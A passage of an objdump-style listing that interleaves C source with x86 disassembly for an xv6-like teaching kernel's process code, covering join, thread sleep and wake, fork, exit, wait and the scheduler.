80104834: 8b 45 f4 mov -0xc(%ebp),%eax
80104837: 8b 50 14 mov 0x14(%eax),%edx
8010483a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104840: 39 c2 cmp %eax,%edx
80104842: 75 0a jne 8010484e <join+0x3f>
80104844: 8b 45 f4 mov -0xc(%ebp),%eax
80104847: 8b 40 7c mov 0x7c(%eax),%eax
8010484a: 85 c0 test %eax,%eax
8010484c: 75 05 jne 80104853 <join+0x44>
continue;
8010484e: e9 9a 00 00 00 jmp 801048ed <join+0xde>
hasChild = 1;
80104853: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
if(p->state == ZOMBIE && p->pid == threadId){
8010485a: 8b 45 f4 mov -0xc(%ebp),%eax
8010485d: 8b 40 0c mov 0xc(%eax),%eax
80104860: 83 f8 05 cmp $0x5,%eax
80104863: 0f 85 84 00 00 00 jne 801048ed <join+0xde>
80104869: 8b 45 f4 mov -0xc(%ebp),%eax
8010486c: 8b 40 10 mov 0x10(%eax),%eax
8010486f: 3b 45 08 cmp 0x8(%ebp),%eax
80104872: 75 79 jne 801048ed <join+0xde>
pid = p->pid;
80104874: 8b 45 f4 mov -0xc(%ebp),%eax
80104877: 8b 40 10 mov 0x10(%eax),%eax
8010487a: 89 45 ec mov %eax,-0x14(%ebp)
kfree(p->kstack);
8010487d: 8b 45 f4 mov -0xc(%ebp),%eax
80104880: 8b 40 08 mov 0x8(%eax),%eax
80104883: 89 04 24 mov %eax,(%esp)
80104886: e8 c7 e1 ff ff call 80102a52 <kfree>
p->kstack = 0;
8010488b: 8b 45 f4 mov -0xc(%ebp),%eax
8010488e: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
p->state = UNUSED;
80104895: 8b 45 f4 mov -0xc(%ebp),%eax
80104898: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
p->parent = 0;
8010489f: 8b 45 f4 mov -0xc(%ebp),%eax
801048a2: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
p->pid = 0;
801048a9: 8b 45 f4 mov -0xc(%ebp),%eax
801048ac: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
p->name[0] = 0;
801048b3: 8b 45 f4 mov -0xc(%ebp),%eax
801048b6: c6 40 6c 00 movb $0x0,0x6c(%eax)
p->killed = 0;
801048ba: 8b 45 f4 mov -0xc(%ebp),%eax
801048bd: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax)
p->thread = 0;
801048c4: 8b 45 f4 mov -0xc(%ebp),%eax
801048c7: c7 40 7c 00 00 00 00 movl $0x0,0x7c(%eax)
release(&ptable.lock);
801048ce: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801048d5: e8 eb 09 00 00 call 801052c5 <release>
*stack = p->ustack;
801048da: 8b 45 f4 mov -0xc(%ebp),%eax
801048dd: 8b 90 80 00 00 00 mov 0x80(%eax),%edx
801048e3: 8b 45 0c mov 0xc(%ebp),%eax
801048e6: 89 10 mov %edx,(%eax)
return pid;
801048e8: 8b 45 ec mov -0x14(%ebp),%eax
801048eb: eb 56 jmp 80104943 <join+0x134>
int hasChild;
int pid;
acquire(&ptable.lock);
for(;;){
hasChild = 0;
for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){
801048ed: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
801048f4: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
801048fb: 0f 82 33 ff ff ff jb 80104834 <join+0x25>
release(&ptable.lock);
*stack = p->ustack;
return pid;
}
}
if(hasChild==0 || proc->killed==1){
80104901: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80104905: 74 0e je 80104915 <join+0x106>
80104907: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010490d: 8b 40 24 mov 0x24(%eax),%eax
80104910: 83 f8 01 cmp $0x1,%eax
80104913: 75 13 jne 80104928 <join+0x119>
release(&ptable.lock);
80104915: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
8010491c: e8 a4 09 00 00 call 801052c5 <release>
return -1;
80104921: b8 ff ff ff ff mov $0xffffffff,%eax
80104926: eb 1b jmp 80104943 <join+0x134>
}
sleep(proc, &ptable.lock);
80104928: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010492e: c7 44 24 04 80 39 11 movl $0x80113980,0x4(%esp)
80104935: 80
80104936: 89 04 24 mov %eax,(%esp)
80104939: e8 50 06 00 00 call 80104f8e <sleep>
}
8010493e: e9 de fe ff ff jmp 80104821 <join+0x12>
}
80104943: c9 leave
80104944: c3 ret
80104945 <threadSleep>:
int threadSleep(mpthread_mutex_t *mutex){
80104945: 55 push %ebp
80104946: 89 e5 mov %esp,%ebp
80104948: 83 ec 18 sub $0x18,%esp
if(proc==0)
8010494b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104951: 85 c0 test %eax,%eax
80104953: 75 0c jne 80104961 <threadSleep+0x1c>
panic("sleep");
80104955: c7 04 24 98 8c 10 80 movl $0x80108c98,(%esp)
8010495c: e8 d9 bb ff ff call 8010053a <panic>
acquire(&ptable.lock);
80104961: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104968: e8 f6 08 00 00 call 80105263 <acquire>
proc->state = SLEEPING;
8010496d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104973: c7 40 0c 02 00 00 00 movl $0x2,0xc(%eax)
xchg(mutex, 0);
8010497a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104981: 00
80104982: 8b 45 08 mov 0x8(%ebp),%eax
80104985: 89 04 24 mov %eax,(%esp)
80104988: e8 75 f9 ff ff call 80104302 <xchg>
sched();
8010498d: e8 ec 04 00 00 call 80104e7e <sched>
proc->chan = 0;
80104992: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104998: c7 40 20 00 00 00 00 movl $0x0,0x20(%eax)
release(&ptable.lock);
8010499f: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801049a6: e8 1a 09 00 00 call 801052c5 <release>
return 0;
801049ab: b8 00 00 00 00 mov $0x0,%eax
}
801049b0: c9 leave
801049b1: c3 ret
801049b2 <threadWake>:
int threadWake(int pid){
801049b2: 55 push %ebp
801049b3: 89 e5 mov %esp,%ebp
801049b5: 83 ec 28 sub $0x28,%esp
struct proc *p;
acquire(&ptable.lock);
801049b8: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801049bf: e8 9f 08 00 00 call 80105263 <acquire>
for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){
801049c4: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
801049cb: eb 29 jmp 801049f6 <threadWake+0x44>
if(p->state == SLEEPING && p->pid == pid){
801049cd: 8b 45 f4 mov -0xc(%ebp),%eax
801049d0: 8b 40 0c mov 0xc(%eax),%eax
801049d3: 83 f8 02 cmp $0x2,%eax
801049d6: 75 17 jne 801049ef <threadWake+0x3d>
801049d8: 8b 45 f4 mov -0xc(%ebp),%eax
801049db: 8b 40 10 mov 0x10(%eax),%eax
801049de: 3b 45 08 cmp 0x8(%ebp),%eax
801049e1: 75 0c jne 801049ef <threadWake+0x3d>
p->state = RUNNABLE;
801049e3: 8b 45 f4 mov -0xc(%ebp),%eax
801049e6: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
break;
801049ed: eb 10 jmp 801049ff <threadWake+0x4d>
}
int threadWake(int pid){
struct proc *p;
acquire(&ptable.lock);
for(p=ptable.proc; p<&ptable.proc[NPROC]; p++){
801049ef: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
801049f6: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
801049fd: 72 ce jb 801049cd <threadWake+0x1b>
if(p->state == SLEEPING && p->pid == pid){
p->state = RUNNABLE;
break;
}
}
release(&ptable.lock);
801049ff: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104a06: e8 ba 08 00 00 call 801052c5 <release>
return 0;
80104a0b: b8 00 00 00 00 mov $0x0,%eax
}
80104a10: c9 leave
80104a11: c3 ret
80104a12 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
80104a12: 55 push %ebp
80104a13: 89 e5 mov %esp,%ebp
80104a15: 57 push %edi
80104a16: 56 push %esi
80104a17: 53 push %ebx
80104a18: 83 ec 2c sub $0x2c,%esp
int i, pid;
struct proc *np;
//Allocate process.
if((np = allocproc()) == 0)
80104a1b: e8 18 f9 ff ff call 80104338 <allocproc>
80104a20: 89 45 e0 mov %eax,-0x20(%ebp)
80104a23: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80104a27: 75 0a jne 80104a33 <fork+0x21>
return -1;
80104a29: b8 ff ff ff ff mov $0xffffffff,%eax
80104a2e: e9 5c 01 00 00 jmp 80104b8f <fork+0x17d>
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
80104a33: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a39: 8b 10 mov (%eax),%edx
80104a3b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a41: 8b 40 04 mov 0x4(%eax),%eax
80104a44: 89 54 24 04 mov %edx,0x4(%esp)
80104a48: 89 04 24 mov %eax,(%esp)
80104a4b: e8 1d 3d 00 00 call 8010876d <copyuvm>
80104a50: 8b 55 e0 mov -0x20(%ebp),%edx
80104a53: 89 42 04 mov %eax,0x4(%edx)
80104a56: 8b 45 e0 mov -0x20(%ebp),%eax
80104a59: 8b 40 04 mov 0x4(%eax),%eax
80104a5c: 85 c0 test %eax,%eax
80104a5e: 75 2c jne 80104a8c <fork+0x7a>
kfree(np->kstack);
80104a60: 8b 45 e0 mov -0x20(%ebp),%eax
80104a63: 8b 40 08 mov 0x8(%eax),%eax
80104a66: 89 04 24 mov %eax,(%esp)
80104a69: e8 e4 df ff ff call 80102a52 <kfree>
np->kstack = 0;
80104a6e: 8b 45 e0 mov -0x20(%ebp),%eax
80104a71: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
np->state = UNUSED;
80104a78: 8b 45 e0 mov -0x20(%ebp),%eax
80104a7b: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return -1;
80104a82: b8 ff ff ff ff mov $0xffffffff,%eax
80104a87: e9 03 01 00 00 jmp 80104b8f <fork+0x17d>
}
np->sz = proc->sz;
80104a8c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104a92: 8b 10 mov (%eax),%edx
80104a94: 8b 45 e0 mov -0x20(%ebp),%eax
80104a97: 89 10 mov %edx,(%eax)
np->parent = proc;
80104a99: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104aa0: 8b 45 e0 mov -0x20(%ebp),%eax
80104aa3: 89 50 14 mov %edx,0x14(%eax)
*np->tf = *proc->tf;
80104aa6: 8b 45 e0 mov -0x20(%ebp),%eax
80104aa9: 8b 50 18 mov 0x18(%eax),%edx
80104aac: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104ab2: 8b 40 18 mov 0x18(%eax),%eax
80104ab5: 89 c3 mov %eax,%ebx
80104ab7: b8 13 00 00 00 mov $0x13,%eax
80104abc: 89 d7 mov %edx,%edi
80104abe: 89 de mov %ebx,%esi
80104ac0: 89 c1 mov %eax,%ecx
80104ac2: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
80104ac4: 8b 45 e0 mov -0x20(%ebp),%eax
80104ac7: 8b 40 18 mov 0x18(%eax),%eax
80104aca: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
for(i = 0; i < NOFILE; i++)
80104ad1: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80104ad8: eb 3d jmp 80104b17 <fork+0x105>
if(proc->ofile[i])
80104ada: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104ae0: 8b 55 e4 mov -0x1c(%ebp),%edx
80104ae3: 83 c2 08 add $0x8,%edx
80104ae6: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104aea: 85 c0 test %eax,%eax
80104aec: 74 25 je 80104b13 <fork+0x101>
np->ofile[i] = filedup(proc->ofile[i]);
80104aee: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104af4: 8b 55 e4 mov -0x1c(%ebp),%edx
80104af7: 83 c2 08 add $0x8,%edx
80104afa: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104afe: 89 04 24 mov %eax,(%esp)
80104b01: e8 82 c4 ff ff call 80100f88 <filedup>
80104b06: 8b 55 e0 mov -0x20(%ebp),%edx
80104b09: 8b 4d e4 mov -0x1c(%ebp),%ecx
80104b0c: 83 c1 08 add $0x8,%ecx
80104b0f: 89 44 8a 08 mov %eax,0x8(%edx,%ecx,4)
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
80104b13: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
80104b17: 83 7d e4 0f cmpl $0xf,-0x1c(%ebp)
80104b1b: 7e bd jle 80104ada <fork+0xc8>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
80104b1d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b23: 8b 40 68 mov 0x68(%eax),%eax
80104b26: 89 04 24 mov %eax,(%esp)
80104b29: e8 fe cc ff ff call 8010182c <idup>
80104b2e: 8b 55 e0 mov -0x20(%ebp),%edx
80104b31: 89 42 68 mov %eax,0x68(%edx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
80104b34: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104b3a: 8d 50 6c lea 0x6c(%eax),%edx
80104b3d: 8b 45 e0 mov -0x20(%ebp),%eax
80104b40: 83 c0 6c add $0x6c,%eax
80104b43: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80104b4a: 00
80104b4b: 89 54 24 04 mov %edx,0x4(%esp)
80104b4f: 89 04 24 mov %eax,(%esp)
80104b52: e8 83 0b 00 00 call 801056da <safestrcpy>
pid = np->pid;
80104b57: 8b 45 e0 mov -0x20(%ebp),%eax
80104b5a: 8b 40 10 mov 0x10(%eax),%eax
80104b5d: 89 45 dc mov %eax,-0x24(%ebp)
//This is not a thread
np->thread = 0;
80104b60: 8b 45 e0 mov -0x20(%ebp),%eax
80104b63: c7 40 7c 00 00 00 00 movl $0x0,0x7c(%eax)
// lock to force the compiler to emit the np->state write last.
acquire(&ptable.lock);
80104b6a: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104b71: e8 ed 06 00 00 call 80105263 <acquire>
np->state = RUNNABLE;
80104b76: 8b 45 e0 mov -0x20(%ebp),%eax
80104b79: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax)
release(&ptable.lock);
80104b80: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104b87: e8 39 07 00 00 call 801052c5 <release>
return pid;
80104b8c: 8b 45 dc mov -0x24(%ebp),%eax
}
80104b8f: 83 c4 2c add $0x2c,%esp
80104b92: 5b pop %ebx
80104b93: 5e pop %esi
80104b94: 5f pop %edi
80104b95: 5d pop %ebp
80104b96: c3 ret
80104b97 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
80104b97: 55 push %ebp
80104b98: 89 e5 mov %esp,%ebp
80104b9a: 83 ec 28 sub $0x28,%esp
struct proc *p;
int fd;
if(proc == initproc)
80104b9d: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80104ba4: a1 68 c6 10 80 mov 0x8010c668,%eax
80104ba9: 39 c2 cmp %eax,%edx
80104bab: 75 0c jne 80104bb9 <exit+0x22>
panic("init exiting");
80104bad: c7 04 24 9e 8c 10 80 movl $0x80108c9e,(%esp)
80104bb4: e8 81 b9 ff ff call 8010053a <panic>
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80104bb9: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
80104bc0: eb 44 jmp 80104c06 <exit+0x6f>
if(proc->ofile[fd]){
80104bc2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bc8: 8b 55 f0 mov -0x10(%ebp),%edx
80104bcb: 83 c2 08 add $0x8,%edx
80104bce: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104bd2: 85 c0 test %eax,%eax
80104bd4: 74 2c je 80104c02 <exit+0x6b>
fileclose(proc->ofile[fd]);
80104bd6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bdc: 8b 55 f0 mov -0x10(%ebp),%edx
80104bdf: 83 c2 08 add $0x8,%edx
80104be2: 8b 44 90 08 mov 0x8(%eax,%edx,4),%eax
80104be6: 89 04 24 mov %eax,(%esp)
80104be9: e8 e2 c3 ff ff call 80100fd0 <fileclose>
proc->ofile[fd] = 0;
80104bee: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104bf4: 8b 55 f0 mov -0x10(%ebp),%edx
80104bf7: 83 c2 08 add $0x8,%edx
80104bfa: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80104c01: 00
if(proc == initproc)
panic("init exiting");
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
80104c02: 83 45 f0 01 addl $0x1,-0x10(%ebp)
80104c06: 83 7d f0 0f cmpl $0xf,-0x10(%ebp)
80104c0a: 7e b6 jle 80104bc2 <exit+0x2b>
fileclose(proc->ofile[fd]);
proc->ofile[fd] = 0;
}
}
begin_op();
80104c0c: e8 09 e8 ff ff call 8010341a <begin_op>
iput(proc->cwd);
80104c11: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104c17: 8b 40 68 mov 0x68(%eax),%eax
80104c1a: 89 04 24 mov %eax,(%esp)
80104c1d: e8 ef cd ff ff call 80101a11 <iput>
end_op();
80104c22: e8 77 e8 ff ff call 8010349e <end_op>
proc->cwd = 0;
80104c27: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104c2d: c7 40 68 00 00 00 00 movl $0x0,0x68(%eax)
acquire(&ptable.lock);
80104c34: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104c3b: e8 23 06 00 00 call 80105263 <acquire>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
80104c40: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104c46: 8b 40 14 mov 0x14(%eax),%eax
80104c49: 89 04 24 mov %eax,(%esp)
80104c4c: e8 d8 03 00 00 call 80105029 <wakeup1>
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104c51: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104c58: eb 3b jmp 80104c95 <exit+0xfe>
if(p->parent == proc){
80104c5a: 8b 45 f4 mov -0xc(%ebp),%eax
80104c5d: 8b 50 14 mov 0x14(%eax),%edx
80104c60: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104c66: 39 c2 cmp %eax,%edx
80104c68: 75 24 jne 80104c8e <exit+0xf7>
p->parent = initproc;
80104c6a: 8b 15 68 c6 10 80 mov 0x8010c668,%edx
80104c70: 8b 45 f4 mov -0xc(%ebp),%eax
80104c73: 89 50 14 mov %edx,0x14(%eax)
if(p->state == ZOMBIE)
80104c76: 8b 45 f4 mov -0xc(%ebp),%eax
80104c79: 8b 40 0c mov 0xc(%eax),%eax
80104c7c: 83 f8 05 cmp $0x5,%eax
80104c7f: 75 0d jne 80104c8e <exit+0xf7>
wakeup1(initproc);
80104c81: a1 68 c6 10 80 mov 0x8010c668,%eax
80104c86: 89 04 24 mov %eax,(%esp)
80104c89: e8 9b 03 00 00 call 80105029 <wakeup1>
// Parent might be sleeping in wait().
wakeup1(proc->parent);
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104c8e: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104c95: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104c9c: 72 bc jb 80104c5a <exit+0xc3>
wakeup1(initproc);
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
80104c9e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104ca4: c7 40 0c 05 00 00 00 movl $0x5,0xc(%eax)
sched();
80104cab: e8 ce 01 00 00 call 80104e7e <sched>
panic("zombie exit");
80104cb0: c7 04 24 ab 8c 10 80 movl $0x80108cab,(%esp)
80104cb7: e8 7e b8 ff ff call 8010053a <panic>
80104cbc <wait>:
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
80104cbc: 55 push %ebp
80104cbd: 89 e5 mov %esp,%ebp
80104cbf: 83 ec 28 sub $0x28,%esp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
80104cc2: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104cc9: e8 95 05 00 00 call 80105263 <acquire>
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
80104cce: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104cd5: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104cdc: e9 b2 00 00 00 jmp 80104d93 <wait+0xd7>
if(p->parent != proc || 1==p->thread)
80104ce1: 8b 45 f4 mov -0xc(%ebp),%eax
80104ce4: 8b 50 14 mov 0x14(%eax),%edx
80104ce7: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104ced: 39 c2 cmp %eax,%edx
80104cef: 75 0b jne 80104cfc <wait+0x40>
80104cf1: 8b 45 f4 mov -0xc(%ebp),%eax
80104cf4: 8b 40 7c mov 0x7c(%eax),%eax
80104cf7: 83 f8 01 cmp $0x1,%eax
80104cfa: 75 05 jne 80104d01 <wait+0x45>
continue;
80104cfc: e9 8b 00 00 00 jmp 80104d8c <wait+0xd0>
havekids = 1;
80104d01: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
if(p->state == ZOMBIE){
80104d08: 8b 45 f4 mov -0xc(%ebp),%eax
80104d0b: 8b 40 0c mov 0xc(%eax),%eax
80104d0e: 83 f8 05 cmp $0x5,%eax
80104d11: 75 79 jne 80104d8c <wait+0xd0>
// Found one.
pid = p->pid;
80104d13: 8b 45 f4 mov -0xc(%ebp),%eax
80104d16: 8b 40 10 mov 0x10(%eax),%eax
80104d19: 89 45 ec mov %eax,-0x14(%ebp)
kfree(p->kstack);
80104d1c: 8b 45 f4 mov -0xc(%ebp),%eax
80104d1f: 8b 40 08 mov 0x8(%eax),%eax
80104d22: 89 04 24 mov %eax,(%esp)
80104d25: e8 28 dd ff ff call 80102a52 <kfree>
p->kstack = 0;
80104d2a: 8b 45 f4 mov -0xc(%ebp),%eax
80104d2d: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
freevm(p->pgdir);
80104d34: 8b 45 f4 mov -0xc(%ebp),%eax
80104d37: 8b 40 04 mov 0x4(%eax),%eax
80104d3a: 89 04 24 mov %eax,(%esp)
80104d3d: e8 4b 39 00 00 call 8010868d <freevm>
p->state = UNUSED;
80104d42: 8b 45 f4 mov -0xc(%ebp),%eax
80104d45: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
p->pid = 0;
80104d4c: 8b 45 f4 mov -0xc(%ebp),%eax
80104d4f: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
p->parent = 0;
80104d56: 8b 45 f4 mov -0xc(%ebp),%eax
80104d59: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
p->name[0] = 0;
80104d60: 8b 45 f4 mov -0xc(%ebp),%eax
80104d63: c6 40 6c 00 movb $0x0,0x6c(%eax)
p->killed = 0;
80104d67: 8b 45 f4 mov -0xc(%ebp),%eax
80104d6a: c7 40 24 00 00 00 00 movl $0x0,0x24(%eax)
p->thread = 0;
80104d71: 8b 45 f4 mov -0xc(%ebp),%eax
80104d74: c7 40 7c 00 00 00 00 movl $0x0,0x7c(%eax)
release(&ptable.lock);
80104d7b: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104d82: e8 3e 05 00 00 call 801052c5 <release>
return pid;
80104d87: 8b 45 ec mov -0x14(%ebp),%eax
80104d8a: eb 55 jmp 80104de1 <wait+0x125>
acquire(&ptable.lock);
for(;;){
// Scan through table looking for zombie children.
havekids = 0;
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104d8c: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104d93: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104d9a: 0f 82 41 ff ff ff jb 80104ce1 <wait+0x25>
return pid;
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
80104da0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80104da4: 74 0d je 80104db3 <wait+0xf7>
80104da6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104dac: 8b 40 24 mov 0x24(%eax),%eax
80104daf: 85 c0 test %eax,%eax
80104db1: 74 13 je 80104dc6 <wait+0x10a>
release(&ptable.lock);
80104db3: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104dba: e8 06 05 00 00 call 801052c5 <release>
return -1;
80104dbf: b8 ff ff ff ff mov $0xffffffff,%eax
80104dc4: eb 1b jmp 80104de1 <wait+0x125>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
80104dc6: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104dcc: c7 44 24 04 80 39 11 movl $0x80113980,0x4(%esp)
80104dd3: 80
80104dd4: 89 04 24 mov %eax,(%esp)
80104dd7: e8 b2 01 00 00 call 80104f8e <sleep>
}
80104ddc: e9 ed fe ff ff jmp 80104cce <wait+0x12>
}
80104de1: c9 leave
80104de2: c3 ret
80104de3 <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
80104de3: 55 push %ebp
80104de4: 89 e5 mov %esp,%ebp
80104de6: 83 ec 28 sub $0x28,%esp
struct proc *p;
for(;;){
// Enable interrupts on this processor.
sti();
80104de9: e8 0e f5 ff ff call 801042fc <sti>
// Loop over process table looking for process to run.
acquire(&ptable.lock);
80104dee: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104df5: e8 69 04 00 00 call 80105263 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104dfa: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104e01: eb 61 jmp 80104e64 <scheduler+0x81>
if(p->state != RUNNABLE)
80104e03: 8b 45 f4 mov -0xc(%ebp),%eax
80104e06: 8b 40 0c mov 0xc(%eax),%eax
80104e09: 83 f8 03 cmp $0x3,%eax
80104e0c: 74 02 je 80104e10 <scheduler+0x2d>
continue;
80104e0e: eb 4d jmp 80104e5d <scheduler+0x7a>
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
proc = p;
80104e10: 8b 45 f4 mov -0xc(%ebp),%eax
80104e13: 65 a3 04 00 00 00 mov %eax,%gs:0x4
switchuvm(p);
80104e19: 8b 45 f4 mov -0xc(%ebp),%eax
80104e1c: 89 04 24 mov %eax,(%esp)
80104e1f: e8 f6 33 00 00 call 8010821a <switchuvm>
p->state = RUNNING;
80104e24: 8b 45 f4 mov -0xc(%ebp),%eax
80104e27: c7 40 0c 04 00 00 00 movl $0x4,0xc(%eax)
swtch(&cpu->scheduler, proc->context);
80104e2e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104e34: 8b 40 1c mov 0x1c(%eax),%eax
80104e37: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80104e3e: 83 c2 04 add $0x4,%edx
80104e41: 89 44 24 04 mov %eax,0x4(%esp)
80104e45: 89 14 24 mov %edx,(%esp)
80104e48: e8 ff 08 00 00 call 8010574c <swtch>
switchkvm();
80104e4d: e8 ab 33 00 00 call 801081fd <switchkvm>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
80104e52: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80104e59: 00 00 00 00
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104e5d: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104e64: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
80104e6b: 72 96 jb 80104e03 <scheduler+0x20>
// Process is done running for now.
// It should have changed its p->state before coming back.
proc = 0;
}
release(&ptable.lock);
80104e6d: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104e74: e8 4c 04 00 00 call 801052c5 <release>
}
80104e79: e9 6b ff ff ff jmp 80104de9 <scheduler+0x6>
80104e7e <sched>:
// Enter scheduler. Must hold only ptable.lock
// and have changed proc->state.
void
sched(void)
{
80104e7e: 55 push %ebp
80104e7f: 89 e5 mov %esp,%ebp
80104e81: 83 ec 28 sub $0x28,%esp
int intena;
if(!holding(&ptable.lock))
80104e84: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104e8b: e8 fd 04 00 00 call 8010538d <holding>
80104e90: 85 c0 test %eax,%eax
80104e92: 75 0c jne 80104ea0 <sched+0x22>
panic("sched ptable.lock");
80104e94: c7 04 24 b7 8c 10 80 movl $0x80108cb7,(%esp)
80104e9b: e8 9a b6 ff ff call 8010053a <panic>
if(cpu->ncli != 1)
